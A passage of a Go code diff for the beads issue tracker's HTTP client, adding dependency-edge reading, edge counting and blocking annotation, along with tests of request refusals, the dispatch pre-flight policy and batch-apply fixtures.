the operation reads `type` with the + // repeatable list decoder and does no splitting, so a comma would travel + // into a type name. + for _, edgeType := range req.Types { + q.Add("type", string(edgeType)) + } + + var body apigen.DependencyEdges + if err := r.store.dispatch(ctx, wire.Request{ + Op: wire.OpListDependencies, + Method: http.MethodGet, + Path: wire.PathDependencies, + Query: q, + }, &body); err != nil { + return issueops.EdgeReadResult{}, err + } + + missing := make(map[string]bool, len(body.Missing)) + for _, id := range body.Missing { + missing[id] = true + } + grouped := make(map[string][]*issueops.Dependency, len(ids)) + for i := range body.Items { + edge := &body.Items[i] + grouped[edge.IssueID] = append(grouped[edge.IssueID], edge) + } + + anchors := make([]issueops.AnchorEdges, 0, len(ids)) + for _, id := range ids { + edges := grouped[id] + if edges == nil { + // Never nil on a successful call, including for an anchor that has + // no edges and for one that names nothing at all. + edges = []*issueops.Dependency{} + } + anchors = append(anchors, issueops.AnchorEdges{ID: id, Edges: edges, Missing: missing[id]}) + } + return issueops.EdgeReadResult{Anchors: anchors}, nil +} + +// GetDependencyRecords answers one issue's stored outgoing edges as raw rows, +// off the same listDependencies operation httpEdgeReader rides. It is an off-role +// raw method rather than an accessor — `bd dep remove`, the molecule loaders and +// `bd delete`'s preview call it directly — so it sits here beside the surface it +// shares rather than on the role above. +// +// ONE ANCHOR, NEVER CHUNKED. The operation bounds a request at +// maxDependencyAnchors (100), and one id is nowhere near it, so there is no +// splitting to do. The wire flattens the answer across the anchors it was asked +// about; asked about one, every item belongs to that one, and the missing list +// names it iff the id resolved to nothing. +// +// A MISS IS (nil, nil), matching the local method: an id that names neither an +// issue nor a wisp comes back in `missing`, and the reference returns a nil slice +// for a nonexistent id (dolt/dependencies.go). The rows themselves are the wire's +// verbatim — apigen.Dependency is a type alias of types.Dependency, and the +// server resolves each row's target through the same issueops.DepTargetExpr the +// reference read does, so an unresolved or bare-slug depends_on_id (the value the +// GH#5005 `bd dep remove` guard exists to see) crosses whole rather than +// normalized away. +func (s *Store) GetDependencyRecords(ctx context.Context, id string) ([]*types.Dependency, error) { + if id == "" { + return nil, nil + } + q := url.Values{} + q.Set("issue_id", id) + + var body apigen.DependencyEdges + if err := s.dispatch(ctx, wire.Request{ + Op: wire.OpListDependencies, + Method: http.MethodGet, + Path: wire.PathDependencies, + Query: q, + }, &body); err != nil { + return nil, err + } + + for _, missing := range body.Missing { + if missing == id { + return nil, nil + } + } + if len(body.Items) == 0 { + return nil, nil + } + records := make([]*types.Dependency, 0, len(body.Items)) + for i := range body.Items { + records = append(records, &body.Items[i]) + } + return records, nil +} + +// maxEdgeCountAnchors is the anchor bound GET /v0/beads/dependencies:count +// publishes: `issue_id` is minItems 1, maxItems 100. +// +// It is the SAME number as the stored-edge read's, from the server's one +// maxDependencyAnchors constant, because the two operations bound the same +// thing on the same collection — which is exactly why the client refuses at it +// rather than chunking past it. See httpGraphCounter.CountEdges. +const maxEdgeCountAnchors = 100 + +// httpGraphCounter serves CountEdges from countDependencyEdges — the +// TWENTY-SECOND wire-backed accessor, and the only role on this surface whose +// answer is a number PER ANCHOR. +// +// It builds its query inline rather than through the encoder table, beside the +// three graph reads above and for their reason: the encode package classifies +// PREDICATES, where a forgotten member widens a result set invisibly, and this +// request is an anchored one — four members, every one of them published. What +// takes the place of the table here is TestEdgeCountRequestSendsEveryMember, +// which reflects over the request so a member added upstream fails closed +// instead of being dropped into a count that still looks like a count. +type httpGraphCounter struct{ store *Store } + +// CountEdges returns each anchor's edge cardinality in the requested direction. +// +// THE VALIDATION IS THE ROLE'S OWN BODY, not a second copy of it: this calls +// storageops.ValidateEdgeCountRequest, the same function the two Dolt legs and +// the unit-of-work leg run, so the four refusals — an absent or unrecognized +// direction, a status beside direction=out, an empty anchor id, an unusable +// dependency type — are one definition with one ORDER. The order is part of the +// contract (the direction is checked FIRST, so an empty request refuses about +// the direction rather than answering emptily), and a client that re-asked the +// questions in some order of its own would name a different offender than every +// other backend for a request carrying two mistakes. +// +// AN EMPTY REQUEST IS ANSWERED WITHOUT A DIAL, exactly as the stored-edge read's +// is: the operation requires at least one anchor and would refuse, while the +// role documents an empty slice as a success with no anchors. The direction is +// still validated first, so EdgeCountRequest{} refuses rather than answering. +func (c httpGraphCounter) CountEdges(ctx context.Context, req issueops.EdgeCountRequest) (issueops.EdgeCountResult, error) { + if err := storageops.ValidateEdgeCountRequest(req); err != nil { + return issueops.EdgeCountResult{}, err + } + // The collapse is the CLIENT's, not the wire's, and it has to be: the answer + // carries one entry per distinct anchor in first-mention order, and matching + // the response back onto the caller's list means holding the same collapse + // the server performed. Sending the repeats and trusting the server to + // collapse them would work until an id appeared twice near the bound, where + // the request would refuse for a size the answer never had. + ids := distinct(req.IDs) + if len(ids) == 0 { + return issueops.EdgeCountResult{Anchors: []issueops.AnchorEdgeCount{}}, nil + } + if len(ids) > maxEdgeCountAnchors { + return issueops.EdgeCountResult{}, &encode.RefusedError{ + Op: encode.OpCountDependencyEdges, + Row: encode.RowByID("L-edgecount-bound"), + } + } + + q := url.Values{} + for _, id := range ids { + q.Add("issue_id", id) + } + // Required and always sent, including a value the role has already accepted: + // the operation has no default direction, and an omitted one is a 400 rather + // than a count of the other end. + q.Set("direction", string(req.Direction)) + // Repeated rather than comma-joined, listDependencies' rule: the operation + // reads `type` with the repeatable list decoder and does no splitting. + for _, edgeType := range req.Types { + q.Add("type", string(edgeType)) + } + if req.Status != "" { + q.Set("status", req.Status) + } + + var body apigen.EdgeCounts + if err := c.store.dispatch(ctx, wire.Request{ + Op: wire.OpCountDependencyEdges, + Method: http.MethodGet, + Path: wire.PathDependenciesCount, + Query: q, + }, &body); err != nil { + return issueops.EdgeCountResult{}, err + } + return edgeCountAnchors(ids, body) +} + +// edgeCountAnchors reads the per-anchor answer back onto the caller's own list. +// +// IT WALKS THE REQUEST, NOT THE RESPONSE, for the reason httpEdgeReader's +// regrouping does — the order and the membership of the answer are the +// REQUEST's, and a projection driven by the body would inherit whatever the +// server happened to send. Here that is sharper than usual, because the two +// facts this role publishes are a COUNT and a MISSING flag, and both have a +// plausible-looking default: a dropped entry reads as 0, and a lost flag reads +// as an anchor that exists. +// +// So an anchor the answer does not carry is an ERROR rather than a zero. The +// operation promises one entry per distinct requested id; a body missing one is +// a server that did not answer the question, and the two readings a client could +// substitute — count 0, or missing — are the two answers this role exists to +// tell apart. +func edgeCountAnchors(ids []string, body apigen.EdgeCounts) (issueops.EdgeCountResult, error) { + answered := make(map[string]apigen.AnchorEdgeCount, len(body.Anchors)) + for _, anchor := range body.Anchors { + answered[anchor.Id] = anchor + } + anchors := make([]issueops.AnchorEdgeCount, 0, len(ids)) + for _, id := range ids { + entry, ok := answered[id] + if !ok { + return issueops.EdgeCountResult{}, fmt.Errorf( + "bd serve answered an edge count with no entry for anchor %q: the operation carries one per distinct requested id, "+ + "and an absent one cannot be told from a count of 0 or from an anchor that is not there", id) + } + // Count is int64 on the wire, in apigen and on the role: a workspace's + // graph is not bounded by 2^53, and a narrowed read would answer a + // number NEAR the cardinality. + anchors = append(anchors, issueops.AnchorEdgeCount{ID: id, Count: entry.Count, Missing: entry.Missing}) + } + return issueops.EdgeCountResult{Anchors: anchors}, nil +} + +// httpBlockingAnnotator serves AnnotateBlocking from listBlockingAnnotations. +type httpBlockingAnnotator struct{ store *Store } + +// AnnotateBlocking decorates one anchored set of ids. +// +// The wire already answers one entry per distinct id in first-mention order, so +// the projection is the identity — but the never-nil promise on the two lists is +// this layer's, because a JSON `[]` decodes to a non-nil empty slice while an +// absent member decodes to nil, and the role promises a caller may range over +// both without checking. +func (a httpBlockingAnnotator) AnnotateBlocking(ctx context.Context, req issueops.BlockingRequest) (issueops.BlockingResult, error) { + if err := validateAnchors(req.IDs); err != nil { + return issueops.BlockingResult{}, err + } + ids := distinct(req.IDs) + if len(ids) == 0 { + return issueops.BlockingResult{Items: []issueops.IssueBlocking{}}, nil + } + + q := url.Values{} + for _, id := range ids { + q.Add("issue_id", id) + } + + var body apigen.BlockingAnnotations + if err := a.store.dispatch(ctx, wire.Request{ + Op: wire.OpListBlockingAnnotations, + Method: http.MethodGet, + Path: wire.PathDependenciesBlocking, + Query: q, + }, &body); err != nil { + return issueops.BlockingResult{}, err + } + + items := make([]issueops.IssueBlocking, 0, len(body.Items)) + for _, item := range body.Items { + if item.BlockedBy == nil { + item.BlockedBy = []string{} + } + if item.Blocks == nil { + item.Blocks = []string{} + } + items = append(items, item) + } + return issueops.BlockingResult{Items: items}, nil +} + +// distinct collapses repeated anchors, keeping each at the position of its first +// mention — the order both roles answer in. +// +// It COPIES rather than sorting or compacting in place: the caller's slice is +// theirs, and both roles promise not to touch it. +func distinct(ids []string) []string { + seen := make(map[string]bool, len(ids)) + out := make([]string, 0, len(ids)) + for _, id := range ids { + if id == "" || seen[id] { + continue + } + seen[id] = true + out = append(out, id) + } + return out +} + +// validateAnchors refuses an empty anchor id, and does so BEFORE the collapse. +// +// It is the one validation these two roles make for themselves, because the +// collapse would otherwise hide it in both directions: an empty entry alongside +// a real one would simply not be sent, and a request of nothing but empty +// entries would reach the empty-request arm looking like a request that named +// nothing. Those are different questions — an empty entry is ErrValidation, an +// empty slice is a success — and the server can only refuse what it receives. +func validateAnchors(ids []string) error { + for _, id := range ids { + if id == "" { + return fmt.Errorf("%w: an anchor id must not be empty", issueops.ErrValidation) + } + } + return nil +} diff --git a/internal/httpclient/roles_graph_cycles_test.go b/internal/httpclient/roles_graph_cycles_test.go new file mode 100644 index 000000000..5328fa6cb --- /dev/null +++ b/internal/httpclient/roles_graph_cycles_test.go @@ -0,0 +1,59 @@ +package httpclient + +import ( + "errors" + "testing" + + "github.com/steveyegge/beads/internal/httpclient/encode" + "github.com/steveyegge/beads/issueops" +) + +// TestDetectCyclesIncludeTracksRefusesWithoutDialing is "L-cycles-tracks"'s +// pin: listDependencyCycles carries no include_tracks parameter at all, so a +// request that asks for the widened (tracks-following) walk is refused with a +// typed, ledger-cited error BEFORE any request reaches the wire, rather than +// silently answering the narrower default walk the server would have returned +// for a bare request. +// +// This is a unit pin rather than something the served tier proves: the +// refusal is pre-dial by design (mirrors TestEdgeCountRefusesMoreAnchorsThanTheWireCarries +// in counts_test.go), so a served run would only show that a request this +// client never sends would also have done something server-side. What has to +// be true here is that the client never dials at all. +func TestDetectCyclesIncludeTracksRefusesWithoutDialing(t *testing.T) { + w := newCountingWire(`{"items":[],"has_more":false}`) + detector, err := New(testTarget(t), w, nil).CycleDetector() + if err != nil { + t.Fatalf("CycleDetector(): %v", err) + } + + _, err = detector.DetectCycles(t.Context(), issueops.DetectCyclesRequest{IncludeTracks: true}) + if !errors.Is(err, encode.ErrRefused) { + t.Fatalf("IncludeTracks request encoded without a refusal: %v", err) + } + var refusal *encode.RefusedError + if !errors.As(err, &refusal) || refusal.Row.ID != "L-cycles-tracks" { + t.Errorf("refusal cites %+v, want ledger row L-cycles-tracks", err) + } + if len(w.dialed) != 0 { + t.Errorf("IncludeTracks refusal dialed %d requests, want 0", len(w.dialed)) + } +} + +// TestDetectCyclesWithoutIncludeTracksStillDials is the companion case: a +// request that leaves IncludeTracks false is unaffected by the refusal above +// and still reaches listDependencyCycles exactly as before. +func TestDetectCyclesWithoutIncludeTracksStillDials(t *testing.T) { + w := newCountingWire(`{"items":[],"has_more":false}`) + detector, err := New(testTarget(t), w, nil).CycleDetector() + if err != nil { + t.Fatalf("CycleDetector(): %v", err) + } + + if _, err := detector.DetectCycles(t.Context(), issueops.DetectCyclesRequest{}); err != nil { + t.Fatalf("DetectCycles(IncludeTracks: false): %v", err) + } + if len(w.dialed) != 1 { + t.Errorf("dialed %d times, want exactly 1", len(w.dialed)) + } +} diff --git a/internal/httpclient/roles_test.go b/internal/httpclient/roles_test.go new file mode 100644 index 000000000..d821d104e --- /dev/null +++ b/internal/httpclient/roles_test.go @@ -0,0 +1,445 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/roles_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "errors" + "math/rand" + "strconv" + "testing" + "time" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/encode" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/internal/workapi" + "github.com/steveyegge/beads/issueops" +) + +// The database-free half of the read roles: the dispatch policy, the two +// constants this package had to copy, and the refusal shapes. None of it needs +// a server, so all of it runs in the default build rather than behind the cgo +// tag the served composition lives under. + +// recordingWire records the operations a role dispatched and answers each one +// with an empty body. +// +// The embedded WriteWire is nil for the reason fakeWire's is: it makes this +// double satisfy the transport seam however the write beads grow it, and a read +// role that somehow reached a write operation panics rather than getting a +// plausible zero. +type recordingWire struct { + WriteWire + + preflighted []string + dispatched []string + requests []wire.Request +} + +func (r *recordingWire) ServerContext(context.Context) (*apigen.ContextResponse, error) { + return &apigen.ContextResponse{}, nil +} + +func (r *recordingWire) Preflight(_ context.Context, op string) error { + r.preflighted = append(r.preflighted, op) + return nil +} + +func (r *recordingWire) Do(_ context.Context, req wire.Request, out any) error { + r.dispatched = append(r.dispatched, req.Op) + r.requests = append(r.requests, req) + switch body := out.(type) { + case *apigen.ReadyPage: + *body = apigen.ReadyPage{Items: []apigen.IssueWithCounts{}} + case *apigen.IssuesPage: + *body = apigen.IssuesPage{Items: []apigen.IssueWithCounts{}} + case *apigen.QueryPage: + *body = apigen.QueryPage{Items: []apigen.IssueWithCounts{}} + case *apigen.ReadyCount: + *body = apigen.ReadyCount{} + case *apigen.Setting: + *body = apigen.Setting{} + case *types.IssueDetails: + // Revision is required on every getIssue response + // (openapi.v0.yaml's IssueDetails schema), and Reader.Get now parses it + // back onto RowVersion (HIGH 5), so a canned response answering "" would + // be a server this client cannot follow, not the empty detail view this + // double meant to stand in for. + *body = types.IssueDetails{Revision: "1"} + } + return nil +} + +func recordingStore(t *testing.T) (*Store, *recordingWire) { + t.Helper() + w := &recordingWire{} + return New(testTarget(t), w, &apigen.ContextResponse{}), w +} + +// TestEveryDispatchSiteHonorsTheTwoSpeedPolicy is D6's mechanism, checked at +// the seam rather than at each call site. +// +// The POLICY lives in the wire package — a baseline operation returns from +// Preflight immediately, every other one forces the handshake and consults the +// advertised token — so what this store owes is that no operation reaches the +// transport without going through it. Routing every role through one dispatch +// helper is how that is made true; this is what proves the helper is the only +// route, and it names the baseline classification of each operation these roles +// use so a reclassification upstream lands here rather than silently. +func TestEveryDispatchSiteHonorsTheTwoSpeedPolicy(t *testing.T) { + ctx := context.Background() + s, w := recordingStore(t) + + reader, err := s.IssueReader() + if err != nil { + t.Fatalf("IssueReader(): %v", err) + } + if _, err := reader.Ready(ctx, issueops.ReadyRequest{}); err != nil { + t.Fatalf("Ready: %v", err) + } + if _, err := reader.List(ctx, issueops.ListRequest{SortBy: "created"}); err != nil { + t.Fatalf("List: %v", err) + } + if _, err := reader.Get(ctx, issueops.GetRequest{ID: "bd-1"}); err != nil { + t.Fatalf("Get: %v", err) + } + querier, err := s.Querier() + if err != nil { + t.Fatalf("Querier(): %v", err) + } + if _, err := querier.Query(ctx, issueops.QueryRequest{Expression: "type=bug"}); err != nil { + t.Fatalf("Query: %v", err) + } + counter, err := s.ReadyCounter() + if err != nil { + t.Fatalf("ReadyCounter(): %v", err) + } + if _, err := counter.CountReady(ctx, issueops.ReadyRequest{}); err != nil { + t.Fatalf("CountReady: %v", err) + } + if _, err := s.GetConfig(ctx, "issue_prefix"); err != nil { + t.Fatalf("GetConfig: %v", err) + } + if _, err := s.SearchIssues(ctx, "", types.IssueFilter{IDs: []string{"bd-1"}}); err != nil { + t.Fatalf("SearchIssues: %v", err) + } + + if len(w.preflighted) != len(w.dispatched) { + t.Fatalf("%d pre-flights for %d dispatches (%v vs %v): a dispatch that skipped the pre-flight would "+ + "answer an older server's bare 404 as an entity's not_found", + len(w.preflighted), len(w.dispatched), w.preflighted, w.dispatched) + } + for i, op := range w.dispatched { + if w.preflighted[i] != op { + t.Errorf("dispatch %d pre-flighted %q and dialed %q", i, w.preflighted[i], op) + } + } + + // The classification the pre-flight then applies. Stated here so a change to + // the baseline set upstream is a failure in this package rather than an + // extra round trip nobody notices on the hot work-distribution path. + for op, baseline := range map[string]bool{ + wire.OpListReadyWork: true, + wire.OpListIssues: true, + wire.OpGetIssue: true, + wire.OpQueryIssues: false, + wire.OpCountReadyWork: false, + wire.OpGetSetting: false, + // claimIssue is first-slice but NOT baseline: it forces the handshake so + // the identity gate runs before a write lands (ga-b8ddd.11). + wire.OpClaimIssue: false, + } { + if wire.IsBaseline(op) != baseline { + t.Errorf("wire.IsBaseline(%q) = %v, want %v", op, wire.IsBaseline(op), baseline) + } + } +} + +// TestDispatchWithoutATransportIsABuildWiringFault: a binary that registered +// this backend without linking a wire client is a build fault, not a user's, +// and the store says so rather than panicking on a nil. +func TestDispatchWithoutATransportIsABuildWiringFault(t *testing.T) { + s := New(testTarget(t), nil, nil) + reader, err := s.IssueReader() + if err != nil { + t.Fatalf("IssueReader(): %v", err) + } + if _, err := reader.Ready(context.Background(), issueops.ReadyRequest{}); !errors.Is(err, ErrNoTransport) { + t.Errorf("Ready with no transport = %v, want ErrNoTransport", err) + } +} + +// TestDefaultListLimitMatchesTheSharedDefault is the drift pin for the one +// constant this package had to copy. depguard denies internal/workapi here, but +// not to a test file, which is exactly the exemption this uses. +func TestDefaultListLimitMatchesTheSharedDefault(t *testing.T) { + if defaultListLimit != workapi.DefaultListLimit { + t.Errorf("defaultListLimit = %d, want workapi.DefaultListLimit = %d: a nil ListRequest.Limit would "+ + "then trim to a different page over http than it does locally", defaultListLimit, workapi.DefaultListLimit) + } +} + +// TestCompareIssuesByMatchesTheSharedComparator is the drift pin for the other +// copy: the display comparator the page epilogue applies. +// +// It is driven over a generated corpus rather than a handful of pairs because +// the interesting cases are the ones nobody writes down — equal keys, a nil +// ClosedAt against a set one, a title that differs only by case, ids whose +// natural and lexical orders disagree. +func TestCompareIssuesByMatchesTheSharedComparator(t *testing.T) { + rng := rand.New(rand.NewSource(1)) + base := time.Date(2026, 8, 8, 12, 0, 0, 0, time.UTC) + titles := []string{"alpha", "Alpha", "beta", ""} + statuses := []types.Status{types.StatusOpen, types.StatusClosed, types.StatusInProgress} + assignees := []string{"", "ana", "Bo"} + + corpus := make([]*types.Issue, 0, 40) + for i := 0; i < 40; i++ { + issue := &types.Issue{ + ID: "bd-" + strconv.Itoa(rng.Intn(20)), + Title: titles[rng.Intn(len(titles))], + Status: statuses[rng.Intn(len(statuses))], + Priority: rng.Intn(4), + IssueType: types.TypeTask, + Assignee: assignees[rng.Intn(len(assignees))], + CreatedAt: base.Add(time.Duration(rng.Intn(5)) * time.Hour), + UpdatedAt: base.Add(time.Duration(rng.Intn(5)) * time.Hour), + } + if rng.Intn(2) == 0 { + closed := base.Add(time.Duration(rng.Intn(5)) * time.Hour) + issue.ClosedAt = &closed + } + corpus = append(corpus, issue) + } + + for _, sortBy := range []string{"", "priority", "created", "updated", "closed", "status", "id", "title", "type", "assignee", "nonesuch"} { + for _, a := range corpus { + for _, b := range corpus { + if got, want := compareIssuesBy(a, b, sortBy), workapi.CompareIssuesBy(a, b, sortBy); got != want { + t.Fatalf("compareIssuesBy(%q) = %d, workapi.CompareIssuesBy = %d for\n a: %+v\n b: %+v", + sortBy, got, want, a, b) + } + } + } + } +} + +// TestReadRolesRefuseWhatTheWireCannotCarry pins the refusal SHAPE the roles +// hand back, without a server: both sentinels are reachable off one value, and +// the ledger row travels with it so D7's third taxonomy text has a flag and a +// reason to print. +func TestReadRolesRefuseWhatTheWireCannotCarry(t *testing.T) { + ctx := context.Background() + s, w := recordingStore(t) + reader, err := s.IssueReader() + if err != nil { + t.Fatalf("IssueReader(): %v", err) + } + + _, err = reader.List(ctx, issueops.ListRequest{IDFilter: "bd-1"}) + var inexpressible *InexpressibleError + if !errors.As(err, &inexpressible) { + t.Fatalf("List with an IDFilter = %v, want *InexpressibleError", err) + } + if inexpressible.Refused.Row.Field != "IDFilter" { + t.Errorf("the refusal names %q, want IDFilter", inexpressible.Refused.Row.Field) + } + if inexpressible.Refused.Row.SpecRow == "" || inexpressible.Refused.Row.Why == "" { + t.Error("the refusal carries a ledger row with no reason or no citation") + } + var unsup *storage.ErrUnsupported + if !errors.As(err, &unsup) || unsup.Backend != Backend { + t.Errorf("the refusal does not classify as *storage.ErrUnsupported for this backend: %v", err) + } + if !errors.Is(err, encode.ErrRefused) { + t.Errorf("the refusal does not classify as encode.ErrRefused: %v", err) + } + if unsup.Op != "Reader.List" { + t.Errorf("the refusal names Op %q, want the ROLE METHOD: nothing on the unsupported allowlist refuses this way", unsup.Op) + } + + // A refusal never dials. The encoder decides it, so the round trip that + // would have carried a filter the server cannot apply never happens. + if len(w.dispatched) != 0 { + t.Errorf("a refused request dialed %v", w.dispatched) + } +} + +// TestWriteRoleRefusalsMatchTheReadShape pins that a write-side refusal now +// satisfies errors.As(*storage.ErrUnsupported) exactly the way a read's does +// (TestReadRolesRefuseWhatTheWireCannotCarry, above): Sweeper.Sweep's Limit, +// CycleDetector.DetectCycles' IncludeTracks, and ReadyClaimer.ClaimNext's +// filter all raised a bare *encode.RefusedError before this review round and +// none of the three went through (*Store).inexpressible the way every read +// role already did. A caller classifying on *storage.ErrUnsupported (rather +// than reaching into the ledger row directly) got three different answers +// depending on which role it called; this is what makes it one answer. +func TestWriteRoleRefusalsMatchTheReadShape(t *testing.T) { + ctx := context.Background() + + assertUnsupported := func(t *testing.T, err error, wantOp string) { + t.Helper() + var inexpressible *InexpressibleError + if !errors.As(err, &inexpressible) { + t.Fatalf("got %v, want *InexpressibleError", err) + } + var unsup *storage.ErrUnsupported + if !errors.As(err, &unsup) || unsup.Backend != Backend { + t.Fatalf("the refusal does not classify as *storage.ErrUnsupported for this backend: %v", err) + } + if !errors.Is(err, encode.ErrRefused) { + t.Errorf("the refusal does not classify as encode.ErrRefused: %v", err) + } + if unsup.Op != wantOp { + t.Errorf("the refusal names Op %q, want %q", unsup.Op, wantOp) + } + } + + t.Run("Sweeper.Sweep Limit", func(t *testing.T) { + s, w := recordingStore(t) + sweeper, err := s.Sweeper() + if err != nil { + t.Fatalf("Sweeper(): %v", err) + } + _, err = sweeper.Sweep(ctx, issueops.SweepRequest{Tier: "ephemeral", Limit: 5}) + assertUnsupported(t, err, "Sweeper.Sweep") + if len(w.dispatched) != 0 { + t.Errorf("a refused sweep dialed %v", w.dispatched) + } + }) + + t.Run("CycleDetector.DetectCycles IncludeTracks", func(t *testing.T) { + s, w := recordingStore(t) + detector, err := s.CycleDetector() + if err != nil { + t.Fatalf("CycleDetector(): %v", err) + } + _, err = detector.DetectCycles(ctx, issueops.DetectCyclesRequest{IncludeTracks: true}) + assertUnsupported(t, err, "CycleDetector.DetectCycles") + if len(w.dispatched) != 0 { + t.Errorf("a refused DetectCycles dialed %v", w.dispatched) + } + }) + + t.Run("ReadyClaimer.ClaimNext", func(t *testing.T) { + s, w := recordingStore(t) + claimer, err := s.ReadyClaimer() + if err != nil { + t.Fatalf("ReadyClaimer(): %v", err) + } + molType := issueops.MolType(types.MolTypeWork) + _, err = claimer.ClaimNext(ctx, issueops.ClaimNextRequest{ + Actor: "ana", + Filter: issueops.ReadyRequest{MolType: &molType}, + }) + assertUnsupported(t, err, "ReadyClaimer.ClaimNext") + if len(w.dispatched) != 0 { + t.Errorf("a refused ClaimNext dialed %v", w.dispatched) + } + }) +} + +// TestTheRolesOwnPageRefusalsAreValidationNotCapability separates the two kinds +// of "no" a caller can get, because the recovery differs: a request the ROLE +// forbids is the caller's to fix, and a request the WIRE cannot carry is a +// statement about this backend. +func TestTheRolesOwnPageRefusalsAreValidationNotCapability(t *testing.T) { + ctx := context.Background() + s, _ := recordingStore(t) + + counter, err := s.ReadyCounter() + if err != nil { + t.Fatalf("ReadyCounter(): %v", err) + } + for _, req := range []issueops.ReadyRequest{ + {Limit: ptrTo(5)}, + {Limit: ptrTo(0)}, + {Offset: 1}, + } { + if _, err := counter.CountReady(ctx, req); !errors.Is(err, issueops.ErrValidation) { + t.Errorf("CountReady(%+v) = %v, want ErrValidation: a cardinality has no page", req, err) + } + } + + querier, err := s.Querier() + if err != nil { + t.Fatalf("Querier(): %v", err) + } + if _, err := querier.Query(ctx, issueops.QueryRequest{Expression: "type=bug", Offset: -1}); !errors.Is(err, issueops.ErrValidation) { + t.Errorf("Query with a negative Offset = %v, want ErrValidation", err) + } + if _, err := querier.Query(ctx, issueops.QueryRequest{Expression: "type=bug", Offset: 1, SortBy: "priority"}); !errors.Is(err, issueops.ErrValidation) { + t.Errorf("Query with an Offset under a display order = %v, want ErrValidation", err) + } + // The one Offset shape that is this BACKEND's inability rather than the + // request's fault classifies the other way. + _, err = querier.Query(ctx, issueops.QueryRequest{Expression: "type=bug", Offset: 1}) + var unsup *storage.ErrUnsupported + if !errors.As(err, &unsup) { + t.Errorf("Query with a plain Offset = %v, want *ErrUnsupported", err) + } +} + +// TestSearchIssuesRefusesAPartialIDWithItsOwnText pins D11's dedicated refusal. +// The raw "failed to search issues" fallthrough it replaces answers the wrong +// question: the input may be a partial id or a full id that does not exist. +func TestSearchIssuesRefusesAPartialIDWithItsOwnText(t *testing.T) { + s, w := recordingStore(t) + _, err := s.SearchIssues(context.Background(), "bd-a3f", types.IssueFilter{}) + var partial *PartialIDSearchError + if !errors.As(err, &partial) { + t.Fatalf("a substring SearchIssues = %v, want *PartialIDSearchError", err) + } + if partial.Input != "bd-a3f" { + t.Errorf("the refusal echoes %q, want the caller's own input", partial.Input) + } + var unsup *storage.ErrUnsupported + if !errors.As(err, &unsup) || unsup.Backend != Backend { + t.Errorf("the refusal does not classify as *storage.ErrUnsupported: %v", err) + } + if len(w.dispatched) != 0 { + t.Errorf("a partial-id refusal dialed %v; there is no operation to dial", w.dispatched) + } +} + +// TestExactIDFanOutIsOneGetIssuePerID pins the D11 fast path's wire shape: one +// getIssue per named id, in the caller's order, with no listing call at all. +func TestExactIDFanOutIsOneGetIssuePerID(t *testing.T) { + s, w := recordingStore(t) + if _, err := s.SearchIssues(context.Background(), "", types.IssueFilter{IDs: []string{"bd-1", "bd-2", "bd-3"}}); err != nil { + t.Fatalf("SearchIssues: %v", err) + } + if len(w.requests) != 3 { + t.Fatalf("the fan-out issued %d requests, want one per id", len(w.requests)) + } + for i, want := range []string{"bd-1", "bd-2", "bd-3"} { + if w.requests[i].Op != wire.OpGetIssue { + t.Errorf("request %d dialed %q, want getIssue", i, w.requests[i].Op) + } + if w.requests[i].IssueID != want { + t.Errorf("request %d names issue %q, want %q in the caller's order", i, w.requests[i].IssueID, want) + } + } +} + +// TestTheExactIDsFanOutIsBounded: an unbounded id set would be an unbounded +// burst at one shared server, so the encoder bounds it and the store surfaces +// the refusal rather than the burst. +func TestTheExactIDsFanOutIsBounded(t *testing.T) { + s, w := recordingStore(t) + ids := make([]string, encode.MaxExactIDs+1) + for i := range ids { + ids[i] = "bd-" + strconv.Itoa(i) + } + if _, err := s.SearchIssues(context.Background(), "", types.IssueFilter{IDs: ids}); !errors.Is(err, encode.ErrRefused) { + t.Errorf("a fan-out past the bound = %v, want the ledgered refusal", err) + } + if len(w.dispatched) != 0 { + t.Errorf("a refused fan-out still dialed %d times", len(w.dispatched)) + } +} + +func ptrTo[T any](v T) *T { return &v } diff --git a/internal/httpclient/served_batch_apply_test.go b/internal/httpclient/served_batch_apply_test.go new file mode 100644 index 000000000..f6c8a6257 --- /dev/null +++ b/internal/httpclient/served_batch_apply_test.go @@ -0,0 +1,457 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_batch_apply_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "errors" + "strings" + "testing" + + "github.com/steveyegge/beads/backend/conformance" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// The BatchApplier contract, run through client -> in-process bd serve -> +// reference store: the widest role on this surface and the last of the wire +// wave's three, wired by client wave ga-mijra. +// +// WHAT THE COMPOSITION BUYS HERE that the three in-tree legs cannot. Those legs +// run two bodies through different transaction wrappers; this one adds a fourth +// wrapper that is a NETWORK, and the states it can lose are exactly the ones +// this contract is built to separate: the ORDER of a heterogeneous plan, which +// becomes an array on a JSON wire and comes back positional; the row-version +// tokens, which are 64-bit and would corrupt through a float; the absent-versus- +// zero distinction on every guard; a metadata value's source literal; and the +// identity of the item that refused, which on an all-or-nothing operation +// exists nowhere but the problem document's item_* members. +// +// ONE ENVIRONMENT PER CASE, like the other per-role families here: the contract +// namespaces its ids by prefix precisely so it can be run that way, and a +// shared database would turn an id collision between two contracts into a +// debugging session. + +// applyParkBead owns this family's two parks: L-apply-ref's unparks when the +// wire grows a typed ref-key member on the problem document, and +// W-DepAddItem.HasSpawner's when ApplyDepAddItem publishes a spawner member. +const applyParkBead = "ga-mijra" + +func newServedBatchApplyFixture(t *testing.T, prefix string) conformance.BatchApplyFixture { + t.Helper() + env := newServedEnv(t, prefix) + applier, err := env.subject.BatchApplier() + if err != nil { + t.Fatalf("BatchApplier(): %v", err) + } + return conformance.BatchApplyFixture{ + IssuePrefix: env.prefix, + BatchApplier: applier, + CreateIssue: env.createIssue, + CreateWisp: env.createWisp, + QueryScalar: env.queryScalar, + CountHistory: env.countHistory, + CountHistoryMatching: env.countHistoryMatching, + CommitPending: env.commitPending, + } +} + +func TestServedBatchApplyAppliesEveryItemInDeclarationOrder(t *testing.T) { + conformance.RunBatchApplyAppliesEveryItemInDeclarationOrder(t, t.Context(), newServedBatchApplyFixture(t, "hba00")) +} + +func TestServedBatchApplyBindsEachNamedKeyToItsMintedID(t 